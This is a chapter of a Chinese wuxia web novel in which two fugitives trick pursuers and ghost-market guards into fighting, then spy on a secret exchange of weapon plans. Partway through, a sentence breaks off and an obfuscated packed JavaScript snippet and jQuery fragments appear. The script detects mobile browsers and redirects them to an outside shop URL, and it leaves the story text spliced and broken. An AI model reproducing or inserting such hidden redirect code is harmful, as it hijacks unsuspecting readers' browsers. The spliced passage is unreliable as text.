一轮浑圆落日,低悬在静谧沙丘上。

    鬼市的地点,便在两座高大沙丘之间。

    林寒玉和云沉渊摸到附近时,眼尖地发现沙丘前后隘口各有两人把守。

    守卫们头戴凶兽面具,手持长枪。身形魁梧壮硕,周身气息沉稳,看起来俱是功夫不俗的练家子。

    时不时有裹得严严实实的商人前来,手里遮遮掩掩拿着东西让守卫查验。唯有核验通过,守卫才会放行,让其进到身后的帐篷中进行交易。

    看来,这便是纸条的用处了。

    林寒玉皱着眉,摩挲了一下指间皱巴巴的纸张。

    可惜拿到纸条后,仓促之下没来得及看清上面写的是什么。

    若她跟守卫说,这张墨迹糊成一团,印鉴染成一片的纸条就是他们的路引,守卫可会相信?

    若是直接硬闯的话,恐怕会惹来不必要的麻烦。还是——

    目光移到侧前方高耸的沙丘,在鬼市结束前,他们来得及翻过去吗?

    林寒玉正在发愁,云沉渊忽然做了个手势,示意隘口附近又有新的变化。

    顺着他的手定睛看去,一队黑衣人,手持弓弩,从另一边悄然摸了过来。

    因着视角的缘故,黑衣人们没有发现藏在沙丘后的两人,林寒玉却能将他们的动向了解得一清二楚。

    打头的那个,不正是在林子里跟他们纠缠了半天的领头人?

    无名客栈这是认定了他们会来鬼市交易,直接追到这里,想来个守株待兔?

    黑衣人们仿佛有所顾忌,只是在隘口不远处拉成一道隐形防线,暗自张望,却并未进入鬼市搜寻。偶尔不小心进入了守卫的视线,还会急忙撤回沙丘后方。

    林寒玉观察半晌,得出结论,客栈掌柜没有骗他们,至少目前看来,无名客栈与鬼市并非完全沆瀣一气。

    不过可以想见,若是林寒玉他们敢大摇大摆现身,又被黑衣人劫杀,鬼市的守卫们也不会出手制止便是了。

    这可真是前有拦路虎,后有中山狼。

    林寒玉在心里默默叹了口气。

    眼见黑衣人在隘口附近鬼鬼祟祟,她眼珠一转,心中忽然有了主意。偏过头与云沉渊耳语一番,两人悄悄离开藏身之地,各自行动。

    *

    领头人今日的心情不太美妙。

    放跑了目标又损失了好几个手下,回到客栈里,挨了掌柜的好一顿责罚。

    哪怕已经过了大半天,他后背上的鞭痕依然在汗水浸润下针扎般的发疼。

    这一切,自然是拜那二人所赐。想到这里,领头人的眼中闪过一丝阴鸷的光。

    不过掌柜的说,那两个人对西夜的消息十分在意,少不得会铤而走险回到鬼市。抓住他们,便是他将功折罪的最好机会。

    想到这里,他瞄了一眼隘口的方向。最近鬼市的管事和掌柜的闹得不太愉快。否则他们若能直接进去搜查岂不更方便,也省得在这儿风吹日晒。

    寻了个阴凉处,轻轻拉揭开黏在伤口上的衣服,他随口吩咐,“老三,告诉兄弟们招子都放亮点儿。一旦有可疑人出现,马上来报。”

    “可疑人……是在说我?”

    回应的他,却并非自家兄弟有些尖细的声音,而是一道慵懒的女声。

    领头人猛地回过头,只见曾在林子里把他们耍得团团转的女子,正站在他身后,悠闲地把玩着一把弓弩。而他要叫的老三,正倒在她脚边,不省人事。

    领头人心下一惊。这女子是何时摸到自己身后的,他竟完全没有察觉。若是她刚才出手偷袭,自己恐怕凶多吉少。

    转过念头他又是一喜。

    还真是踏破铁鞋无觅处。这女子如此胆大包天,竟然自投罗网,倒省了他们没头苍蝇般搜寻的工夫。

    掌柜的可说了,这二人关系不清白,只要抓住了这女子,何愁她的姘头不现身?

    想到这里,他一手背在身后,暗中示意远处手下合围。另一只手则使出一记擒拿术,就要将这嚣张女子一举擒下。

    没想到这女子却狡猾得像个泥鳅。弯腰一个侧身,便险险躲过了他用了十足力道的一抓。

    一记未中,领头人回身又是一抓,女子随意将手里的弓弩向着远处一扔,足尖轻点,整个人冲天而起,不知是故意还是巧合,恰好脱离了黑衣人逐渐合拢的包围圈。

    这女子的轻功,领头人早就领教过。心知一个没留神,就可能放虎归山,失了踪迹,急忙招呼手下一起追赶。

    “留活口!”他可还指望拿这女子当诱饵呢。

    说来也奇怪,每当黑衣人们觉得女子近在咫尺,马上就能将她抓住时,她便用能以各种险而又险的方式逃开。众人你追我赶,不知不觉,竟到了隘口附近。

    看到隘口,领头人眉头一拧。可煮熟的鸭子,又怎么舍不得它飞走?

    他回过头,正待吩咐弟兄们行事谨慎些,别惊动了守卫,耳边却忽然传来‘嗖’的一声响。

    一支乌黑发亮的弩箭,自众人后方斜斜横插过来,越过看守隘口的守卫,直直插在帐篷前的空地上。

    见此情景,守卫们原本悠闲的站姿霎时变得紧绷。

    而领头人则直接愣住了。

    出发前,自己明明千叮咛万嘱咐,那些守卫都是鬼市花大价钱请来的高手,招惹不得,让手下小心行事,别招惹了他们,怎么还会有手下做出此等挑衅行为?

    不对,不对。

    莫名的,他忽然想到女子忽然的现身,随手扔掉的弓弩,以及那个一直没露面的男子。

    然而还没等他想明白,耳边又是‘嗖’的一声。

    不同于刚才如同预告般的雷声大雨点小。这支箭裹挟着雷霆万钧的力道,穿过众人头顶,直直插进最外围那顶帐篷顶端的旗杆。

    众目睽睽之下,旗杆猛地抖了抖。只听‘咔嚓’一声,木质纤维折向半空,象征着鬼市的旗帜裹着断木,轰然坠落在守卫脚边,尘土四溅。

    ……

    守卫们的眼睛危险地眯了起来。

    他们方才并不是没发现那些如苍蝇般探头探脑的黑衣人,只是没舞到眼前,他们也懒得搭理。

    就像管事的也并非不知道无名客栈一直打着鬼市的旗号,从来往商人身上搜刮油水。只要没触碰到鬼市的核心利益,管事的也懒得锱铢必较。

    可他们的宽容,绝不是这群人蹬鼻子上脸的理由。若是让管事的知道他们放任这些人折了鬼市的脸面,那可要吃不了兜着走。

    两名守卫对视一眼,提枪向着领头人围了过去。

    眼见情况不妙,领头人心里咯噔一下。

    中计了。

    抬手一指,想跟守卫解释一切都是那两人搞的鬼,可回过神来,眼前哪还有那狡猾女子的影子?

    转身逃跑前,他狠狠磨了磨牙,好,很好,有本事千万别让他逮到!

    *

    林寒玉躲在暗处,看着两名

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778381|209176||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    守卫追了出去,又看着从暗处呼啦啦冒出来数名守卫一并追了出去。

    ……幸好凭着杀手的直觉没选择硬闯。否则现在被追得抱头鼠窜的,很可能就是她自己了。

    可笑那领头人还在担心自己偷袭。什么偷袭不偷袭。他们来这儿的目的是拿到消息,至于这些个绊脚石,让他们狗咬狗足矣。

    方才听见那第一声箭响,她便心知有戏。

    第一箭虚晃一枪,吸引注意力。第二箭势如破竹,一举斩旗。这跟把鬼市的脸扔在地上踩有什么区别?

    她仿佛看见云沉渊隐在暗处,眼神坚毅。左臂虽渗着血,右臂却仍稳稳擎住弩机。未见瞄准,拇指扣动悬刀的瞬间,箭矢破空而去,直取旗杆正中,全程干脆利落。

    平日里她执行任务,向来奉行单打独斗。可今次和云沉渊配合,一个声东击西,一个浑水摸鱼,倒觉出别样的默契。

    这一会儿思索的工夫,云沉渊也从暗处绕了回来。二人对视一眼,一切尽在不言中。

    趁着守卫不在,两人大摇大摆通过了隘口,进入鬼市内部。

    林寒玉这才发现,原来门口那顶帐篷后还跟着一连串的小帐篷。

    帐篷口未见人指引,来往的商人却都目标明确,似乎每个人都清楚自己的交易地点。

    难道,这些东西也写在纸条上?

    这可有些难办,总不可能,挨个帐篷闯进去,掏出珍宝匕首问要不要跟自己交易罢。

    多想无益,林寒玉自告奋勇,飞身轻盈蹲上一顶华丽帐篷,用匕首划开一个小洞,朝里面观望。

    帐篷正中间,负手立着一个披着斗篷、带着面具的人。每当有商人带着东西进入,似乎并不需要过多交谈,那人便会从身后的柜子里取出一个个匣子进行交换。

    从帐篷顶飘下来,林寒玉正待与云沉渊分享自己的发现,视线却忽然凝在一处。

    拖着云沉渊疾行几步,二人跟上了一个从帐篷后突然转出来的人。虽然带着面巾,可那赤膊的上身,腰间的重锤……不是右护法又是谁?

    林寒玉的眼睛亮了。

    真是的来全不费工夫,若是能直接跟着右护法顺藤摸瓜找到匠人们,哪里还需要那虚无缥缈的消息?

    只是不知他为何也来了鬼市,难不成乌荼教也有一般渠道拿不到的东西?

    眼见壮汉左右看了看,进了一顶不起眼的青色帐篷,林寒玉忙推了推云沉渊,二人施展轻功登上帐篷顶,依样画葫芦用匕首开了个洞暗中窥视。

    壮汉显得格外谨慎,在帐篷里查看了一圈,才解开随身的包袱。

    包袱打开,林寒玉险些被光芒刺得一个倒仰。这么多金银珠宝,看来乌荼教为了那东西,也是下了血本。

    带着面具的斗篷人仔细查验过宝石,这才按了个机关,面前桌案下,弹出一个巴掌大的小匣。

    壮汉接过匣子打开,取出一张纸,展开看了一眼,又飞快地折好放了回去。

    动作虽快,林寒玉还是眼尖地看出那似乎是张武器图。

    用手肘捅了捅云沉渊,她凑近低声耳语,“我怎么瞧着,这好像是天晟制式的武器图啊?”

    而她身边云沉渊,似乎自从用弓弩射断旗杆后,就显得分外的沉默。

    原本被追杀时还不敢确定,待亲自上手拿过弓弩一摸,他立马认出,那群黑衣人拿的弓弩上,有西境军的铸铭。

    军器所铸造的武器,怎么会流落到这种地方?